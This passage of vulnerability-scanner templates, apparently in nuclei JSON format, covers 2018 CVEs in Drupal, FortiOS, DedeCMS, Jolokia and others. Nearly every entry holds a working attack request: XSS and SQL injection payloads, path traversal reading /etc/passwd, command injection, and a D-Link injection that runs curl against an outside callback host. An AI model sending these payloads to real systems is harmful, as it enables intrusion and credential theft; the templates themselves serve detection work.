<1.6.4 - Admin Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/Admin"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Etherpad version","Plugin manager","Installed parts"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-6910","info":{"name":"DedeCMS 5.7 - Path Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/include/downmix.inc.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["downmix.inc.php","Call to undefined function helper()"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-20011","info":{"name":"DomainMOD 4.11.01 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_username={{username}}&new_password={{password}}\n","POST /assets/add/category.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_category=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_stakeholder=&new_notes=\n","GET /assets/categories.php HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(header_3, \"text/html\")","contains(body_3, \">\")"],"condition":"and"}]}]},{"id":"CVE-2018-1000129","info":{"name":"Jolokia 1.3.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/jolokia/read?mimeType=text/html","{{BaseURL}}/jolokia/read?mimeType=text/html"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","java.lang.IllegalArgumentException","No type with name"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-16763","info":{"name":"FUEL CMS 1.4.1 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-19752","info":{"name":"DomainMOD 4.11.01 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_username={{username}}&new_password={{password}}\n","POST /assets/add/registrar.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_registrar=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_url=test&new_api_registrar_id=0&new_notes=test\n","GET /assets/registrars.php HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-3760","info":{"name":"Ruby On Rails - Local File Inclusion","severity":"high"},"requests":[{"raw":["GET /assets/file:%2f%2f/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n","GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"path","regex":["/etc/passwd is no longer under a load path: (.*?),"],"internal":true,"part":"body"}]}]},{"id":"CVE-2018-18775","info":{"name":"Microstrategy Web 7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-20470","info":{"name":"Tyto Sahi pro 7.x/8.x - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-1000130","info":{"name":"Jolokia Agent - JNDI Code Injection","severity":"high"},"requests":[{"raw":["POST /jolokia/read/getDiagnosticOptions HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.\nContent-Type: application/x-www-form-urlencoded\n\n{\n \"type\":\"read\",\n \"mbean\":\"java.lang:type=Memory\",\n \"target\":{\n \"url\":\"service:jmx:rmi:///jndi/ldap://127.0.0.1:1389/o=tomcat\"\n }\n}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Failed to retrieve RMIServer stub: javax.naming.CommunicationException: 127.0.0.1:1389"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-10736","info":{"name":"NagiosXI <= 5.4.12 - SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/nagiosql/admin/info.php?key1=%27%20union%20select%20concat(md5({{num}}))%23"],"matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]}]}]},{"id":"CVE-2018-8823","info":{"name":"PrestaShop Responsive Mega Menu Module - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/modules/bamegamenu/ajax_phpcode.php?code=print(md5({{num}}))"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-1271","info":{"name":"Spring MVC Framework - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini","{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini"],"matchers-condition":"and","matchers":[{"type":"word","words":["for 16-bit app support"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-7700","info":{"name":"DedeCMS 5.7SP2 - Cross-Site Request Forgery/Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["4cc32a3a81d2bb37271934a48ce4468a"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-7602","info":{"name":"Drupal - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /?q=user%2Flogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_id=user_login&name={{username}}&pass={{password}}&op=Log+in\n","GET /?q={{url_encode(\"{{userid}}\")}}%2Fcancel HTTP/1.1\nHost: {{Hostname}}\n","POST /?q={{url_encode(\"{{userid}}\")}}%2Fcancel&destination={{url_encode(\"{{userid}}\")}}%2Fcancel%3Fq%5B%2523post_render%5D%5B%5D%3Dpassthru%26q%5B%2523type%5D%3Dmarkup%26q%5B%2523markup%5D%3Decho+COP-2067-8102-EVC+|+rev HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_id=user_cancel_confirm_form&form_token={{form_token}}&_triggering_element_name=form_id&op=Cancel+account\n","POST /?q=file%2Fajax%2Factions%2Fcancel%2F%23options%2Fpath%2F{{form_build_id}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_build_id={{form_build_id}}\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"word","words":["CVE-2018-7602-POC"]}],"extractors":[{"type":"regex","name":"userid","group":1,"regex":[""],"internal":true,"part":"body"},{"type":"regex","name":"form_build_id","group":1,"regex":[""],"internal":true,"part":"body"}]}]},{"id":"CVE-2018-3810","info":{"name":"Oturia WordPress Smart Google Code Inserter <3.5 - Authentication Bypass","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/wp-admin/options-general.php?page=smartcode"],"body":"sgcgoogleanalytic=&sgcwebtools=&button=Save+Changes&action=savegooglecode","headers":{"Content-Type":"application/x-www-form-urlencoded"}},{"method":"GET","path":["{{BaseURL}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":[""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-6605","info":{"name":"Joomla! Component Zh BaiduMap 3.0.0.1 - SQL Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/index.php?option=com_zhbaidumap&no_html=1&format=raw&task=getPlacemarkDetails"],"headers":{"Content-Type":"application/x-www-form-urlencoded"},"body":"id=-1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5({{num}}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+","matchers-condition":"and","matchers":[{"type":"word","words":["{{md5(num)}}","dataexists"],"part":"body"},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-20462","info":{"name":"WordPress JSmol2WP <=1.07 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/jsmol2wp/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["JSmol2WP","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=saveFile&data=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&mimetype=text/html;%20charset=utf-8"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-3714","info":{"name":"node-srv - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/node_modules/../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-16668","info":{"name":"CirCarLife <4.3 - Improper Authentication","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/html/repository"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["CirCarLife Scada"]},{"type":"word","part":"body","words":["** Platform sources **","** Application sources **"],"condition":"and"}]}]},{"id":"CVE-2018-10093","info":{"name":"AudioCodes 420HD - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/command.cgi?cat%20/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["admin:.*:*sh$"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-13379","info":{"name":"Fortinet FortiOS - Credentials Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"],"matchers":[{"type":"regex","part":"body","regex":["^var fgt_lang ="]}]}]},{"id":"CVE-2018-17431","info":{"name":"Comodo Unified Threat Management Web Console - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1\nHost: {{Hostname}}\nConnection: close\n","GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1\nHost: {{Hostname}}\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Configuration has been altered"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-8715","info":{"name":"AppWeb - Authentication Bypass","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Digest username=admin\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[" "]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-18809","info":{"name":"TIBCO JasperReports Library - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["metadata.jdbc.driverClassName","metadata.hibernate.dialect"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-11709","info":{"name":"WordPress wpForo Forum <= 1.4.11 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php/community/?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-14728","info":{"name":"Responsive filemanager 9.13.1 Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/filemanager/upload.php"],"body":"fldr=&url=file:///etc/passwd","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2018-3167","info":{"name":"Oracle E-Business Suite - Blind SSRF","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/OA_HTML/lcmServiceController.jsp"],"body":"","matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Unexpected text in DTD"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-20824","info":{"name":"Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["(?mi)timeout:\\salert\\(document\\.domain\\)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-6530","info":{"name":"D-Link - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /soap.cgi?service=whatever-control;curl {{interactsh-url}};whatever-invalid-shell HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: identity\nSOAPAction: \"whatever-serviceType#whatever-action\"\nContent-Type: text/xml\n\nwhatever-content\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2018-1335","info":{"name":"Apache Tika <1.1.8- Header Command Injection","severity":"high"},"requests":[{"method":"PUT","path":["{{BaseURL}}/meta"],"body":"var oShell = WScript.CreateObject('WScript.Shell');var oExec = oShell.Exec(\"cmd /c whoami\");","headers":{"X-Tika-OCRTesseractPath":"cscript","X-Tika-OCRLanguage":"//E:Jscript","Expect":"100-continue","Content-type":"image/jp2","Connection":"close"},"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Content-Type: text/csv"]},{"type":"word","part":"body","words":["org.apache.tika.parser.DefaultParser","org.apache.tika.parser.gdal.GDALParse"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-15917","info":{"name":"Jorani Leave Management System 0.6.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /session/language?last_page=session%2Flogin&language=en%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&login=&CipheredValue= HTTP/1.1\nHost: {{Hostname}}\n","GET /session/login HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","_jorani"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-5230","info":{"name":"Atlassian Jira Confluence - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/pages/includes/status-list-mo%3Ciframe%20src%3D%22javascript%3Aalert%28document.domain%29%22%3E.vm"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["